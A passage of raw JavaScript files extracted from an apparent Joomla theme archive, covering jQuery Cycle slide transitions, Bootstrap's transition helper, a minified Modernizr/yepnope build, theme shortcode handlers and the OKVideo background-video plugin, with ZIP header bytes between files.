		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.height = 0;
	opts.animOut.height = 0;
};
$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = next.cycleW;
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
	opts.animIn.left = 0;
	opts.animOut.width = 0;
};
$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
		opts.animOut.left = curr.cycleW;
	});
	$.extend(opts.cssBefore, { top: 0, left: 0, width: 0 });
	opts.animIn.left = 0;
	opts.animOut.width = 0;
};

// zoom
$.fn.cycle.transitions.zoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.cssBefore.left = next.cycleW/2;
		$.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH });
		$.extend(opts.animOut, { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 });
	});
	opts.cssFirst.top = 0;
	opts.cssFirst.left = 0;
	opts.cssBefore.width = 0;
	opts.cssBefore.height = 0;
};

// fadeZoom
$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false);
		opts.cssBefore.left = next.cycleW/2;
		opts.cssBefore.top = next.cycleH/2;
		$.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH });
	});
	opts.cssBefore.width = 0;
	opts.cssBefore.height = 0;
	opts.animOut.opacity = 0;
};

// blindX
$.fn.cycle.transitions.blindX = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.width = next.cycleW;
		opts.animOut.left   = curr.cycleW;
	});
	opts.cssBefore.left = w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = w;
};
// blindY
$.fn.cycle.transitions.blindY = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore.top = h;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.top = h;
};
// blindZ
$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	var w = $cont.width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore.top = h;
	opts.cssBefore.left = w;
	opts.animIn.top = 0;
	opts.animIn.left = 0;
	opts.animOut.top = h;
	opts.animOut.left = w;
};

// growX - grow horizontally from centered 0 width
$.fn.cycle.transitions.growX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = this.cycleW/2;
		opts.animIn.left = 0;
		opts.animIn.width = this.cycleW;
		opts.animOut.left = 0;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
};
// growY - grow vertically from centered 0 height
$.fn.cycle.transitions.growY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = this.cycleH/2;
		opts.animIn.top = 0;
		opts.animIn.height = this.cycleH;
		opts.animOut.top = 0;
	});
	opts.cssBefore.height = 0;
	opts.cssBefore.left = 0;
};

// curtainX - squeeze in both edges horizontally
$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true,true);
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn.left = 0;
		opts.animIn.width = this.cycleW;
		opts.animOut.left = curr.cycleW/2;
		opts.animOut.width = 0;
	});
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
};
// curtainY - squeeze in both edges vertically
$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn.top = 0;
		opts.animIn.height = next.cycleH;
		opts.animOut.top = curr.cycleH/2;
		opts.animOut.height = 0;
	});
	opts.cssBefore.height = 0;
	opts.cssBefore.left = 0;
};

// cover - curr slide covered by next slide
$.fn.cycle.transitions.cover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssAfter.display = '';
		if (d == 'right')
			opts.cssBefore.left = -w;
		else if (d == 'up')
			opts.cssBefore.top = h;
		else if (d == 'down')
			opts.cssBefore.top = -h;
		else
			opts.cssBefore.left = w;
	});
	opts.animIn.left = 0;
	opts.animIn.top = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.left = 0;
};

// uncover - curr slide moves off next slide
$.fn.cycle.transitions.uncover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		if (d == 'right')
			opts.animOut.left = w;
		else if (d == 'up')
			opts.animOut.top = -h;
		else if (d == 'down')
			opts.animOut.top = h;
		else
			opts.animOut.left = -w;
	});
	opts.animIn.left = 0;
	opts.animIn.top = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.left = 0;
};

// toss - move top slide and fade away
$.fn.cycle.transitions.toss = function($cont, $slides, opts) {
	var w = $cont.css('overflow','visible').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		// provide default toss settings if animOut not provided
		if (!opts.animOut.left && !opts.animOut.top)
			$.extend(opts.animOut, { left: w*2, top: -h/2, opacity: 0 });
		else
			opts.animOut.opacity = 0;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
};

// wipe - clip animation
$.fn.cycle.transitions.wipe = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.cssBefore = opts.cssBefore || {};
	var clip;
	if (opts.clip) {
		if (/l2r/.test(opts.clip))
			clip = 'rect(0px 0px '+h+'px 0px)';
		else if (/r2l/.test(opts.clip))
			clip = 'rect(0px '+w+'px '+h+'px '+w+'px)';
		else if (/t2b/.test(opts.clip))
			clip = 'rect(0px '+w+'px 0px 0px)';
		else if (/b2t/.test(opts.clip))
			clip = 'rect('+h+'px '+w+'px '+h+'px 0px)';
		else if (/zoom/.test(opts.clip)) {
			var top = parseInt(h/2,10);
			var left = parseInt(w/2,10);
			clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)';
		}
	}

	opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)';

	var d = opts.cssBefore.clip.match(/(\d+)/g);
	var t = parseInt(d[0],10), r = parseInt(d[1],10), b = parseInt(d[2],10), l = parseInt(d[3],10);

	opts.before.push(function(curr, next, opts) {
		if (curr == next) return;
		var $curr = $(curr), $next = $(next);
		$.fn.cycle.commonReset(curr,next,opts,true,true,false);
		opts.cssAfter.display = 'block';

		var step = 1, count = parseInt((opts.speedIn / 13),10) - 1;
		(function f() {
			var tt = t ? t - parseInt(step * (t/count),10) : 0;
			var ll = l ? l - parseInt(step * (l/count),10) : 0;
			var bb = b < h ? b + parseInt(step * ((h-b)/count || 1),10) : h;
			var rr = r < w ? r + parseInt(step * ((w-r)/count || 1),10) : w;
			$next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' });
			(step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none');
		})();
	});
	$.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 });
	opts.animIn	   = { left: 0 };
	opts.animOut   = { left: 0 };
};

})(jQuery);
PK!�Z9���+bluetheme/assets/js/bootstrap-transition.jsnu&1i�/* ===================================================
 * bootstrap-transition.js v2.3.2
 * http://twitter.github.com/bootstrap/javascript.html#transitions
 * ===================================================
 * Copyright 2012 Twitter, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ========================================================== */


!function ($) {

  "use strict"; // jshint ;_;


  /* CSS TRANSITION SUPPORT (http://www.modernizr.com/)
   * ======================================================= */

  $(function () {

    $.support.transition = (function () {

      var transitionEnd = (function () {

        var el = document.createElement('bootstrap')
          , transEndEventNames = {
               'WebkitTransition' : 'webkitTransitionEnd'
            ,  'MozTransition'    : 'transitionend'
            ,  'OTransition'      : 'oTransitionEnd otransitionend'
            ,  'transition'       : 'transitionend'
            }
          , name

        for (name in transEndEventNames){
          if (el.style[name] !== undefined) {
            return transEndEventNames[name]
          }
        }

      }())

      return transitionEnd && {
        end: transitionEnd
      }

    })()

  })

}(window.jQuery);PK! ��
$
$6bluetheme/assets/js/modernizr.custom.grid-portfolio.jsnu&1i�/* Modernizr 2.7.1 (Custom Build) | MIT & BSD
 * Build: http://modernizr.com/download/#-csstransforms3d-csstransitions-shiv-cssclasses-prefixed-teststyles-testprop-testallprops-prefixes-domprefixes-load
 */
;window.Modernizr=function(a,b,c){function z(a){j.cssText=a}function A(a,b){return z(m.join(a+";")+(b||""))}function B(a,b){return typeof a===b}function C(a,b){return!!~(""+a).indexOf(b)}function D(a,b){for(var d in a){var e=a[d];if(!C(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function E(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:B(f,"function")?f.bind(d||b):f}return!1}function F(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+o.join(d+" ")+d).split(" ");return B(b,"string")||B(b,"undefined")?D(e,b):(e=(a+" "+p.join(d+" ")+d).split(" "),E(e,b,c))}var d="2.7.1",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k,l={}.toString,m=" -webkit- -moz- -o- -ms- ".split(" "),n="Webkit Moz O ms",o=n.split(" "),p=n.toLowerCase().split(" "),q={},r={},s={},t=[],u=t.slice,v,w=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["&#173;",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},x={}.hasOwnProperty,y;!B(x,"undefined")&&!B(x.call,"undefined")?y=function(a,b){return x.call(a,b)}:y=function(a,b){return b in a&&B(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=u.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(u.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(u.call(arguments)))};return e}),q.csstransforms3d=function(){var a=!!F("perspective");return a&&"webkitPerspective"in g.style&&w("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},q.csstransitions=function(){return F("transition")};for(var G in q)y(q,G)&&(v=G.toLowerCase(),e[v]=q[G](),t.push((e[v]?"":"no-")+v));return e.addTest=function(a,b){if(typeof a=="object")for(var d in a)y(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},z(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._prefixes=m,e._domPrefixes=p,e._cssomPrefixes=o,e.testProp=function(a){return D([a])},e.testAllProps=F,e.testStyles=w,e.prefixed=function(a,b,c){return b?F(a,b,c):F(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+t.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};PK!a3�TT!bluetheme/assets/js/shortcodes.jsnu&1i�/**
 * @package Shortcodes for Joomla! 3
 * @author Pham Tien Duc
 * @copyright(C) 2013- shinetheme.com
 * @license PHP files are GNU/GPL
**/

if(typeof ($ST) != 'function') {
	var $ST = jQuery.noConflict();
}


$ST(document).ready(function() {

  /* Tabs Block */
  $ST("#st_tabst a").click(function (e) {
    e.preventDefault();
    $ST(this).tab("show");
  });

  //////////////////// Accordion default //////////////////////
  $ST('.accordion .accordion-group:first-child .accordion-toggle').addClass("active");
  $ST('.accordion').on('show', function (e) {
    var sele=$ST(e.target).prev('.accordion-heading').find('.accordion-toggle');
    sele.addClass('active');
    stanimated(sele,'wiggle');
  });
  $ST('.accordion').on('hide', function (e) {
    $ST(this).find('.accordion-toggle').not($(e.target)).removeClass('active');
  });


  ///////////////////// Alert  /////////////////////////////////
  var ale = $ST("#system-message .alert");
  if(ale.hasClass("alert-warning") || ale.hasClass("alert-notice"))
    ale.append("<i class='icon-exclamation-sign alert-ico'></i>");
  else if(ale.hasClass("alert-error"))
    ale.append("<i class='icon-x-altx-alt alert-ico'></i>");
  else if(ale.hasClass("alert-success"))
    ale.append("<i class='icon-checkmark-circle alert-ico'></i>");
  else if(ale.hasClass("alert-info"))
    ale.append("<i class='icon-info-2 alert-ico'></i>");

  
  
});

// animated///
function stanimated(sele,c) {
  jQuery(sele).removeClass('animated '+c).addClass('animated '+c);
  var wait = window.setTimeout( function(){
    jQuery(sele).removeClass('animated '+c)},
    1300
  );
}

PK!Ɲ{Y((bluetheme/assets/js/okvideo.jsnu&1i�/*
 * OKVideo by OKFocus v2.3.2
 * http://okfoc.us
 *
 * Copyright 2014, OKFocus
 * Licensed under the MIT license.
 *
 */

var player, OKEvents, options;

(function ($) {

  "use strict";

  var BLANK_GIF = "data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw%3D%3D";
  $.okvideo = function (options) {

    // if the option var was just a string, turn it into an object
    if (typeof options !== 'object') options = { 'video' : options };

    var base = this;

    // kick things off
    base.init = function () {
      base.options = $.extend({}, $.okvideo.options, options);

      // support older versions of okvideo
      if (base.options.video === null) base.options.video = base.options.source;

      base.setOptions();

      var target = base.options.target || $('body');
      var position = target[0] == $('body')[0] ? 'fixed' : 'absolute';

      target.css({position: 'relative'});

      var zIndex = base.options.controls === 3 ? -999 : "auto";
      var mask = '<div id="okplayer-mask" style="position:' + position + ';left:0;top:0;overflow:hidden;z-index:-998;height:100%;width:100%;"></div>';

      if (OKEvents.utils.isMobile()) {
        target.append('<div id="okplayer" style="position:' + position + ';left:0;top:0;overflow:hidden;z-index:' + zIndex + ';height:100%;width:100%;"></div>');
      }
      else {
				if (base.options.controls === 3) {
					target.append(mask)
				}
				if (base.options.adproof === 1) {
					target.append('<div id="okplayer" style="position:' + position + ';left:-10%;top:-10%;overflow:hidden;z-index:' + zIndex + ';height:120%;width:120%;"></div>');
				} else {
					target.append('<div id="okplayer" style="position:' + position + ';left:0;top:0;overflow:hidden;z-index:' + zIndex + ';height:100%;width:100%;"></div>');
				}
      }

      $("#okplayer-mask").css("background-image", "url(" + BLANK_GIF + ")");


      if (base.options.playlist.list === null) {
        if (base.options.video.provider === 'youtube') {
          base.loadYouTubeAPI();
        } else if (base.options.video.provider === 'vimeo') {
          base.options.volume /= 100;
          base.loadVimeoAPI();
        }
      } else {
        base.loadYouTubeAPI();
      }
    };

    // clean the options
    base.setOptions = function () {
      // exchange 'true' for '1' and 'false' for 3
      for (var key in this.options){
        if (this.options[key] === true) this.options[key] = 1;
        if (this.options[key] === false) this.options[key] = 3;
      }

      if (base.options.playlist.list === null) {
        base.options.video = base.determineProvider();
      }

      // pass options to the window
      $(window).data('okoptions', base.options);
    };

    // load the youtube api
    base.loadYouTubeAPI = function (callback) {
      base.insertJS('http://www.youtube.com/player_api');
    };

    base.loadYouTubePlaylist = function() {
      player.loadPlaylist(base.options.playlist.list, base.options.playlist.index, base.options.playlist.startSeconds, base.options.playlist.suggestedQuality);
    };

    // load the vimeo api by replacing the div with an iframe and loading js
    base.loadVimeoAPI = function() {
      $('#okplayer').replaceWith(function() {
        return '<iframe src="http://player.vimeo.com/video/' + base.options.video.id + '?api=1&title=0&byline=0&portrait=0&playbar=0&loop=' + base.options.loop + '&autoplay=' + (base.options.autoplay === 1 ? 1 : 0) + '&player_id=okplayer" frameborder="0" style="' + $(this).attr('style') + 'visibility:hidden;background-color:black;" id="' + $(this).attr('id') + '"></iframe>';
      });

			// if necessary, debug with the most recent version of froogaloop
    	// base.insertJS('https://rawgithub.com/vimeo/player-api/master/javascript/froogaloop.js', function(){
    	base.insertJS('http://a.vimeocdn.com/js/froogaloop2.min.js', function(){
        vimeoPlayerReady();
      });
    };

    // insert js into the head and exectue a callback function
    base.insertJS = function(src, callback){
      var tag = document.createElement('script');

      if (callback){
        if (tag.readyState){  //IE
          tag.onreadystatechange = function(){
            if (tag.readyState === "loaded" ||
                tag.readyState === "complete"){
              tag.onreadystatechange = null;
              callback();
            }
          };
        } else {
          tag.onload = function() {
            callback();
          };
        }
      }
      tag.src = src;
      var firstScriptTag = document.getElementsByTagName('script')[0];
      firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
    };

    // is it from youtube or vimeo?
    base.determineProvider = function () {
      var a = document.createElement('a');
      a.href = base.options.video;

      if (/youtube.com/.test(base.options.video)){
        return { "provider" : "youtube", "id" : a.href.slice(a.href.indexOf('v=') + 2).toString() };
      } else if (/vimeo.com/.test(base.options.video)) {
        return { "provider" : "vimeo", "id" : a.href.split('/')[3].toString() };
      } else if (/[-A-Za-z0-9_]+/.test(base.options.video)) {
        var id = new String(base.options.video.match(/[-A-Za-z0-9_]+/));
        if (id.length == 11) {
          return { "provider" : "youtube", "id" : id.toString() };
        } else {
          for (var i = 0; i < base.options.video.length; i++) {
            if (typeof parseInt(base.options.video[i]) !== "number") {
              throw 'not vimeo but thought it was for a sec';
            }
          }
          return { "provider" : "vimeo", "id" : base.options.video };
        }
      } else {
        throw "OKVideo: Invalid video source";
      }
    };

    base.init();
  };

  $.okvideo.options = {
    source: null, // Deprecate dis l8r
    video: null,
    playlist: { // eat ur heart out @brokyo
      list: null,
      index: 0,
      startSeconds: 0,
      suggestedQuality: "default" // options: small, medium, large, hd720, hd1080, highres, default
    },
    disableKeyControl: 1,
    captions: 0,
    loop: 1,
    hd: 1,
    volume: 0,
    adproof: false,
    unstarted: null,
    onFinished: null,
    onReady: null,
    onPlay: null,
    onPause: null,
    buffering: null,
    controls: false,
    autoplay: true,
    annotations: true,
    cued: null
  };

  $.fn.okvideo = function (options) {
    options.target = this;
    return this.each(function () {
      (new $.okvideo(options));
    });
  };

})(jQuery);

// vimeo player ready
function vimeoPlayerReady() {
  options = jQuery(window).data('okoptions');

  var iframe = jQuery('#okplayer')[0];
  player = $f(iframe);

  // hide player until Vimeo hides controls...
  window.setTimeout(function(){
    jQuery('#okplayer').css('visibility', 'visible');
  }, 2000);

  player.addEvent('ready', function () {
    OKEvents.v.onReady();

		// "Do not try to add listeners or call functions before receiving this event."
		if (OKEvents.utils.isMobile()) {
			// mobile devices cannot listen for play event
			OKEvents.v.onPlay();
		} else {
			player.addEvent('play', OKEvents.v.onPlay);
			player.addEvent('pause', OKEvents.v.onPause);
			player.addEvent('finish', OKEvents.v.onFinish);
		}

		player.api('play');
  });
}

// youtube player ready
function onYouTubePlayerAPIReady() {
  options = jQuery(window).data('okoptions');
  player = new YT.Player('okplayer', {
    videoId: options.video ? options.video.id : null,
    playerVars: {
      'autohide': 1,
      'autoplay': 0, //options.autoplay,
      'disablekb': options.keyControls,
      'cc_load_policy': options.captions,
      'controls': options.controls,
      'enablejsapi': 1,
      'fs': 0,
      'modestbranding': 1,
      'iv_load_policy': options.annotations,
      'loop': options.loop,
      'showinfo': 0,
      'rel': 0,
      'wmode': 'opaque',
      'hd': options.hd
    },
    events: {
      'onReady': OKEvents.yt.ready,
      'onStateChange': OKEvents.yt.onStateChange,
      'onError': OKEvents.yt.error
    }
  });

}

OKEvents = {
  yt: {
    ready: function(event){
      event.target.setVolume(options.volume);
      if (options.autoplay === 1) {
        if (options.playlist.list) {
          player.loadPlaylist(options.playlist.list, options.playlist.index, options.playlist.startSeconds, options.playlist.suggestedQuality);
        } else {
          event.target.playVideo();
        }
      }
      OKEvents.utils.isFunction(options.onReady) && options.onReady();
    },
    onStateChange: function(event){
      switch(event.data){
      case -1:
        OKEvents.utils.isFunction(options.unstarted) && options.unstarted();
        break;
      case 0:
        OKEvents.utils.isFunction(options.onFinished) && options.onFinished();
        options.loop && event.target.playVideo();
        break;
      case 1:
        OKEvents.utils.isFunction(options.onPlay) && options.onPlay();
        break;
      case 2:
        OKEvents.utils.isFunction(options.onPause) && options.onPause();
        break;
      case 3:
        OKEvents.utils.isFunction(options.buffering) && options.buffering();
        break;
      case 5:
        OKEvents.utils.isFunction(options.cued) && options.cued();
        break;
      default:
        throw "OKVideo: received invalid data from YT player.";
      }
    },
    error: function(event){
      throw event;
    }
  },
  v: {
    onReady: function(){
      OKEvents.utils.isFunction(options.onReady) && options.onReady();
    },
    onPlay: function(){
      if (!OKEvents.utils.isMobile()) player.api('setVolume', options.volume);
      OKEvents.utils.isFunction(options.onPlay) && options.onPlay();
    },
    onPause: function(){
      OKEvents.utils.isFunction(options.onPause) && options.onPause();
    },
    onFinish: function(){
      OKEvents.utils.isFunction(options.onFinish) && options.onFinish();
    }
